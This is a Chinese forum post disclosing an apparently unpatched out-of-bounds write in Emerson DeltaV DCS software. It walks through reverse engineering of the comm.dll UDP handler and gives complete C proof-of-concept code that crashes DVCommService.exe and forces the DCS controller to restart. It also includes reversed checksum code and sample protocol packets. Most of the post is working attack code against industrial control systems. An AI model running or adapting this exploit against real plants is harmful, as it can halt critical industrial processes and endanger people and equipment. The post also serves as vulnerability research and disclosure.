首页
社区
课程
招聘
Emerson deltaV DCS和组态软件内存越界漏洞
发表于: 2023-6-29 17:11 8832

Emerson deltaV DCS和组态软件内存越界漏洞

2023-6-29 17:11
8832

已经从原单位离职,原工作时候的漏洞没有提交给cnvd,现在闲来无事,提交了一个多月了,迟迟没有回应(估计是设备太贵了或者接触不到,cnvd没法验证该漏洞),简直就是杳无音信,不等了,伺候不起,随他去吧。

艾默生是工控行业的国际巨头之一(其他类似西门子,通用电气,霍尼韦尔,三菱等),deltav产品官网:
deltav官网,下载安装后可以复现。

该漏洞应该是一个0day,漏洞原因是网络数据可能覆盖全局地址,造成了程序不可预期的执行结果,更深一步的漏洞利用,暂时未做研究。

(一) 环境
1. emerson deltav 组态软件IP:10.4.0.6,DCS IP: 10.4.0.10,攻击机IP:10.4.0.9
2. emerson deltav dcs 进程DVCommService.exe,漏洞代码位于comm.dll中,漏洞程序使用了udp端口18507
3. 攻击前确保目标和攻击机之间的通信是畅通的

(二) 漏洞触发

漏洞触发时截图:
图片描述

崩溃代码地址:comm.dll 0x20116c50函数中的偏移地址0x20116d62:
图片描述

崩溃原因:访问了0XCDCDCDCD这个内存地址,该地址来自于攻击载荷:
图片描述

该函数的上级调用者是oss.dll中20017B40函数(跟漏洞无直接关系):
图片描述

(三) POC原理以及说明

通过分析,comm.dll中的201148A0函数调用recv函数,接收cmd(偏移为4)为7数据包后,进入函数0x20111B90,获取数据包偏移16的word值后,进入多个选择的分支:
图片描述
漏洞成因是,代码将数据包第20字节开始的word值作为项数n,将第24字节开始的每4字节当作一个ip地址值,依次从数据包中取出n个ip地址,填充到从内存地址RtDeviceConnectionClassDataP + 44629开始的数组中,而RtDeviceConnectionClassDataP(偏移地址0x2014A96C)是程序运行时的一个关键的全局结构体(或类),此时,该全局地址块的数据被破坏,会导致程序执行时不可预测的结果,此处表现为内存地址越界(0xc0000005),导致DVCommService.exe崩溃。

假如修改数据包偏移16字节处的word值(假设该字段叫做subcmd),并将数据包剩余内容填入0xcd或者0xff,即可触发漏洞。

通过动态调试,发现cmd为7,subcmd为9或者0x19的数据包被接收后,会进入20111B90第184行的流程:
图片描述
图片描述

通过变异subcmd的值,可以多次触发类似的漏洞。比如还可以触发0x20125db2处的内存越界访问:

图片描述

POC执行时的命令参数是ip地址,如cmd中执行:Emerson.exe 10.4.0.6。
将攻击参数改为dcs的ip地址10.4.0.10,同样会导致dcs端的crash,过段时间后将会导致dcs重启:

图片描述

攻击代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
#include <windows.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <stdio.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <iostream>
 
using namespace std;
 
#pragma comment(lib,"ws2_32.lib")
 
#pragma pack(1)
 
typedef struct
{
    unsigned short flag;        //0
    unsigned short size;        //2
    unsigned short cmd;         //4
    unsigned short seq;         //6
    unsigned int tickcnt;       //8
    unsigned char v1;           //12
    unsigned char valid;        //13
    unsigned char v2;           //14
    unsigned char v3;           //15
}EMERSON_PACK_HDR;
 
#pragma pack()
 
int main(int argc,char ** argv)
{
    if (argc<2)
    {
        printf("Usage:EmersonDll.exe 10.4.0.6\r\n");
        return -1;
    }
 
    int result = 0;
 
    WSADATA wsa = { 0 };
    result = WSAStartup(0x0202, &wsa);
 
    SOCKET s = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
 
    sockaddr_in saServer = { 0 };
    saServer.sin_port = ntohs(18507);
    saServer.sin_family = AF_INET;
    saServer.sin_addr.S_un.S_addr = inet_addr(argv[1]);
 
    char * sendbuf= new char[0x10000];
    //填充值,该值发送给组态软件后,某些偏移的值会被当做内存地址的值参与运算并保留,导致下次访问时发生内存越界异常
    memset(sendbuf, 0xff, 0x1000);
 
    EMERSON_PACK_HDR * lphdr = (EMERSON_PACK_HDR*)sendbuf;
    lphdr->flag = ntohs(0xface); //flag, must be 0xface
    lphdr->cmd = ntohs(7);
    lphdr->size = ntohs(1456-16);
    lphdr->valid = 0;
 
    WORD * lpw = (WORD*)(sendbuf + 16);
 
    //除了第20,21字节的word值和lpw指向的值,其他值都参与运算但都是可以忽略的,不影响基本运行逻辑
    sendbuf[18] = 1;
 
    sendbuf[14] = 1;        //v2
 
    sendbuf[15] = ~4;       //v3
 
    //此值必须不为0,否则无法触发异常
    sendbuf[20] = 0xff;
    sendbuf[21] = 0xff;
 
    sendbuf[22] = 0xff;
    sendbuf[23] = 0xff;
 
    int subcmd = 0x19;  //0x19 9
     
    //从数据包第24字节开始的dword作为ip地址,填充从RtDeviceConnectionClassDataP+ 44629开始的0xffff个dword数组
    *lpw = ntohs(subcmd);
 
    int len = sendto(s, (char*)sendbuf, 1456, 0, (sockaddr*)&saServer, sizeof(sockaddr));
    if (len <= 0){
        printf("sendto error,may be destination was not available\r\n");
    }
     
    delete sendbuf;
 
    closesocket(s);
 
    WSACleanup();
 
    return 0;
}

另外,此处奉上emerson网络协议中的校验和计算代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
#include <windows.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <stdio.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <iostream>
 
using namespace std;
 
#pragma comment(lib,"ws2_32.lib")
 
#pragma pack(1)
typedef struct
{
    unsigned short flag;
    unsigned short size;
    unsigned short cmd;
    unsigned short seq;
    unsigned int tickcnt;
    unsigned char v1;
    unsigned char valid;
    unsigned char v2;
    unsigned char v3;
}EMERSON_PACK_HDR;
#pragma pack()
 
extern "C" __declspec(dllexport)  unsigned short __cdecl EmersonChecksum(unsigned __int8 *a1, unsigned int a2);
 
#define _BYTE BYTE
 
#define BYTE1(x) (x>>8)
 
unsigned char byte_2013A508[512] = {
    0x00, 0x00, 0x89, 0x11, 0x12, 0x23, 0x9B, 0x32, 0x24, 0x46, 0xAD, 0x57, 0x36, 0x65, 0xBF, 0x74,
    0x48, 0x8C, 0xC1, 0x9D, 0x5A, 0xAF, 0xD3, 0xBE, 0x6C, 0xCA, 0xE5, 0xDB, 0x7E, 0xE9, 0xF7, 0xF8,
    0x81, 0x10, 0x08, 0x01, 0x93, 0x33, 0x1A, 0x22, 0xA5, 0x56, 0x2C, 0x47, 0xB7, 0x75, 0x3E, 0x64,
    0xC9, 0x9C, 0x40, 0x8D, 0xDB, 0xBF, 0x52, 0xAE, 0xED, 0xDA, 0x64, 0xCB, 0xFF, 0xF9, 0x76, 0xE8,
    0x02, 0x21, 0x8B, 0x30, 0x10, 0x02, 0x99, 0x13, 0x26, 0x67, 0xAF, 0x76, 0x34, 0x44, 0xBD, 0x55,
    0x4A, 0xAD, 0xC3, 0xBC, 0x58, 0x8E, 0xD1, 0x9F, 0x6E, 0xEB, 0xE7, 0xFA, 0x7C, 0xC8, 0xF5, 0xD9,
    0x83, 0x31, 0x0A, 0x20, 0x91, 0x12, 0x18, 0x03, 0xA7, 0x77, 0x2E, 0x66, 0xB5, 0x54, 0x3C, 0x45,
    0xCB, 0xBD, 0x42, 0xAC, 0xD9, 0x9E, 0x50, 0x8F, 0xEF, 0xFB, 0x66, 0xEA, 0xFD, 0xD8, 0x74, 0xC9,
    0x04, 0x42, 0x8D, 0x53, 0x16, 0x61, 0x9F, 0x70, 0x20, 0x04, 0xA9, 0x15, 0x32, 0x27, 0xBB, 0x36,
    0x4C, 0xCE, 0xC5, 0xDF, 0x5E, 0xED, 0xD7, 0xFC, 0x68, 0x88, 0xE1, 0x99, 0x7A, 0xAB, 0xF3, 0xBA,
    0x85, 0x52, 0x0C, 0x43, 0x97, 0x71, 0x1E, 0x60, 0xA1, 0x14, 0x28, 0x05, 0xB3, 0x37, 0x3A, 0x26,
    0xCD, 0xDE, 0x44, 0xCF, 0xDF, 0xFD, 0x56, 0xEC, 0xE9, 0x98, 0x60, 0x89, 0xFB, 0xBB, 0x72, 0xAA,
    0x06, 0x63, 0x8F, 0x72, 0x14, 0x40, 0x9D, 0x51, 0x22, 0x25, 0xAB, 0x34, 0x30, 0x06, 0xB9, 0x17,
    0x4E, 0xEF, 0xC7, 0xFE, 0x5C, 0xCC, 0xD5, 0xDD, 0x6A, 0xA9, 0xE3, 0xB8, 0x78, 0x8A, 0xF1, 0x9B,
    0x87, 0x73, 0x0E, 0x62, 0x95, 0x50, 0x1C, 0x41, 0xA3, 0x35, 0x2A, 0x24, 0xB1, 0x16, 0x38, 0x07,
    0xCF, 0xFF, 0x46, 0xEE, 0xDD, 0xDC, 0x54, 0xCD, 0xEB, 0xB9, 0x62, 0xA8, 0xF9, 0x9A, 0x70, 0x8B,
    0x08, 0x84, 0x81, 0x95, 0x1A, 0xA7, 0x93, 0xB6, 0x2C, 0xC2, 0xA5, 0xD3, 0x3E, 0xE1, 0xB7, 0xF0,
    0x40, 0x08, 0xC9, 0x19, 0x52, 0x2B, 0xDB, 0x3A, 0x64, 0x4E, 0xED, 0x5F, 0x76, 0x6D, 0xFF, 0x7C,
    0x89, 0x94, 0x00, 0x85, 0x9B, 0xB7, 0x12, 0xA6, 0xAD, 0xD2, 0x24, 0xC3, 0xBF, 0xF1, 0x36, 0xE0,
    0xC1, 0x18, 0x48, 0x09, 0xD3, 0x3B, 0x5A, 0x2A, 0xE5, 0x5E, 0x6C, 0x4F, 0xF7, 0x7D, 0x7E, 0x6C,
    0x0A, 0xA5, 0x83, 0xB4, 0x18, 0x86, 0x91, 0x97, 0x2E, 0xE3, 0xA7, 0xF2, 0x3C, 0xC0, 0xB5, 0xD1,
    0x42, 0x29, 0xCB, 0x38, 0x50, 0x0A, 0xD9, 0x1B, 0x66, 0x6F, 0xEF, 0x7E, 0x74, 0x4C, 0xFD, 0x5D,
    0x8B, 0xB5, 0x02, 0xA4, 0x99, 0x96, 0x10, 0x87, 0xAF, 0xF3, 0x26, 0xE2, 0xBD, 0xD0, 0x34, 0xC1,
    0xC3, 0x39, 0x4A, 0x28, 0xD1, 0x1A, 0x58, 0x0B, 0xE7, 0x7F, 0x6E, 0x6E, 0xF5, 0x5C, 0x7C, 0x4D,
    0x0C, 0xC6, 0x85, 0xD7, 0x1E, 0xE5, 0x97, 0xF4, 0x28, 0x80, 0xA1, 0x91, 0x3A, 0xA3, 0xB3, 0xB2,
    0x44, 0x4A, 0xCD, 0x5B, 0x56, 0x69, 0xDF, 0x78, 0x60, 0x0C, 0xE9, 0x1D, 0x72, 0x2F, 0xFB, 0x3E,
    0x8D, 0xD6, 0x04, 0xC7, 0x9F, 0xF5, 0x16, 0xE4, 0xA9, 0x90, 0x20, 0x81, 0xBB, 0xB3, 0x32, 0xA2,
    0xC5, 0x5A, 0x4C, 0x4B, 0xD7, 0x79, 0x5E, 0x68, 0xE1, 0x1C, 0x68, 0x0D, 0xF3, 0x3F, 0x7A, 0x2E,
    0x0E, 0xE7, 0x87, 0xF6, 0x1C, 0xC4, 0x95, 0xD5, 0x2A, 0xA1, 0xA3, 0xB0, 0x38, 0x82, 0xB1, 0x93,
    0x46, 0x6B, 0xCF, 0x7A, 0x54, 0x48, 0xDD, 0x59, 0x62, 0x2D, 0xEB, 0x3C, 0x70, 0x0E, 0xF9, 0x1F,
    0x8F, 0xF7, 0x06, 0xE6, 0x9D, 0xD4, 0x14, 0xC5, 0xAB, 0xB1, 0x22, 0xA0, 0xB9, 0x92, 0x30, 0x83,
    0xC7, 0x7B, 0x4E, 0x6A, 0xD5, 0x58, 0x5C, 0x49, 0xE3, 0x3D, 0x6A, 0x2C, 0xF1, 0x1E, 0x78, 0x0F
};
 
unsigned int sub_2010CDB0(DWORD v2, unsigned int a2)
{
    //int v2; // edx@1
    unsigned int v3; // esi@1
    unsigned __int16 v4; // cx@1
    unsigned int result; // eax@7
 
    //v2 = *(_DWORD *)(this + 28);
    v3 = *(_BYTE *)(v2 + 3) + 16 + v2 + (*(_BYTE *)(v2 + 2) << 8);
    v4 = *(_BYTE *)(v2 + 5) + (*(_BYTE *)(v2 + 4) << 8);
    if (v4 != 2 && v4 != 6 && v4 != 14 && v4 != 22 && v4 != 23)
        v3 -= 2;
    result = a2 >> 8;
    *(_BYTE *)v3 = BYTE1(a2);
    *(_BYTE *)(v3 + 1) = (BYTE)a2;
    return result;
}
 
unsigned short __cdecl EmersonChecksum(unsigned __int8 *a1, unsigned int a2)
{
    HMODULE h = LoadLibraryA("D:\\work\\vsproject\\test\\x64\\Release\\EmersonDll.dll");
    if (h == 0)
    {
        MessageBoxA(0, "error", "error", MB_OK);
    }
    else {
        MessageBoxA(0, "ok", "ok", MB_OK);
    }
 
    unsigned int v2; // esi@1
    signed int result; // eax@1
    unsigned int v4; // edx@2
 
    unsigned short * word_2013A508 = (unsigned short *)byte_2013A508;
 
    v2 = 0;
    result = 0xFFFF;
    if (a2)
    {
        do
        {
            v4 = (unsigned __int8)result ^ a1[v2++];
            result = (unsigned __int16)(word_2013A508[v4] ^ ((unsigned __int16)result >> 8));
        } while (v2 < a2);
    }
 
    result = ((result & 0xff) << 8) + ((result >>8)&0xff);
 
    return result;
}
 
int __stdcall DllMain(_In_ HINSTANCE hInstance, _In_ DWORD fdwReason, _In_ LPVOID lpvReserved) {
 
    return true;
}
 
 
 
void test_crc() {
    int myresult = 0;
//  __asm {
//      mov eax, 0xfffffff0
//      cmp eax, 8
//      ja __big
//      mov eax, 0
//
//      jmp __toret
//      __big :
//      mov eax, 1
//          __toret :
//          mov myresult, eax
//  }
 
//  char pack0[] =
//      "\xfa\xce\x00\x42\x00\x02" \
//      "\x21\x2e\x00\x01\x38\xf4\x54\x80\x04\x00\x06\x01\x00\x00\x00\x00" \
//      "\x00\x29\x01\x68\x00\xdc\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00" \
//      "\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x04\x00\x00\x00\x00\x00\x00" \
//      "\x00\x00\x00\x0b\x00\x43\x00\x54\x00\x4c\x00\x52\x00\x2d\x00\x33" \
//      "\x00\x32\x00\x44\x00\x44\x00\x39\x00\x34\x00\x00\x00\x00"; //ed7f  //830a
 
    unsigned char pack0[] = {
        0xfa,0xce,0x00,0x42,0x00,0x02,0x21,0x2e,0x00,0x01,0x38,0xf4,0x54,0x80,0x04,0x00,
        0x06,0x01,0x00,0x00,0x00,0x00,0x00,0x29,0x01,0x68,0x00,0xdc,0x00,0x00,0x00,0x00,
        0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0a,0x00,0x04,
        0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0b,0x00,0x43,0x00,0x54,0x00,0x4c,
        0x00,0x52,0x00,0x2d,0x00,0x33,0x00,0x32,0x00,0x44,0x00,0x44,0x00,0x39,0x00,0x34,
        0x00,0x00
    };
 
    char pack[] = "\xfa\xce\x00\x17\x00\x08\x04\xcb\x00\x00\x00\x00\x00\x80\x00\x00" \
        "\xda\xc5\x00\x01\x01\x01\x00\x0f\x00\x00\x00\x2d\x66\xc2\xfc\x83" \
        "\xe0\xff\xff\x8f\x80\x14\xe8";
 
    unsigned int crc = EmersonChecksum((unsigned char*)pack, sizeof(pack) - 1 - 2);
 
    unsigned int result = ((crc == 0x14e8) ? 1 : 0);
 
    cout << "result:" << result << endl;
 
    int pack0length = sizeof(pack0);
 
    crc = EmersonChecksum((unsigned char*)pack0, pack0length);
 
    char pack2[] = "\xfa\xce\x00\xb4\x00\x0e\x00\x00\xff\xff\x8a\xff\x10\x80\x00\x00" \
        "\x18\x00\x00\x00\xda\xc5\x00\x01\xc7\xf3\x75\xc8\xbb\x73\x97\x41" \
        "\x8e\x57\x88\xe8\x41\x51\x0f\x1a\x06\x06\x00\x00\x01\x02\x01\x00" \
        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00\x04\x00\x22" \
        "\x00\x06\x00\x23\x00\x06\x00\x27\x00\x00\x00\x00\x00\x0f\x00\x44" \
        "\x00\x45\x00\x53\x00\x4b\x00\x54\x00\x4f\x00\x50\x00\x2d\x00\x46" \
        "\x00\x33\x00\x39\x00\x53\x00\x37\x00\x4b\x00\x55\x00\x00\x01\xda" \
        "\xc5\x00\x01\x00\x00\x01\x90\x01\xd7\x52\x0e\x98\x6b\xa4\x50\x01" \
        "\xd7\x52\x0e\x8f\x0b\x17\xe0\x01\xd7\x52\x0e\x8f\x22\xec\xb9\x00" \
        "\x00\x00\x00\x00\x00\x00\x00\x01\xd7\x4e\xe9\x98\x9b\xe8\xe0\x00" \
        "\x00\x0b\xb8\x01\xd7\x52\x0e\x96\xa6\xe9\xe0\x00\x01\xd7\x52\x0e" \
        "\x90\xf1\x6c\xbd\x01\xd7\x52\x0e\x90\xc2\x69\xea\x01\xd7\x4e\xe9" \
        "\x98\x9e\x59\xe0\xfc\xb7";
 
    int pack2size = sizeof(pack2) - 2 - 1;
    unsigned int crc2 = EmersonChecksum((unsigned char*)pack2, sizeof(pack2) - 1 - 2);
 
    printf("crc:%x\r\n", crc2);
 
    return;
}

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

最后于 2023-8-22 15:07 被satadrover编辑 ,原因:
收藏
免费 0
支持
分享
最新回复 (2)
雪    币: 21522
活跃值: (6321)
能力值: (RANK:445 )
在线值:
发帖
回帖
粉丝
2
咋了,为啥清空了?
2023-7-6 23:24
0
雪    币: 1668
活跃值: (3187)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
3
胡一米 咋了,为啥清空了?
提交了好久,cnvd没审核。后来发现已经在处理了。所以觉得还是先删除了比较合适。
2023-7-7 10:54
0
游客
登录 | 注册 方可回帖
返回
//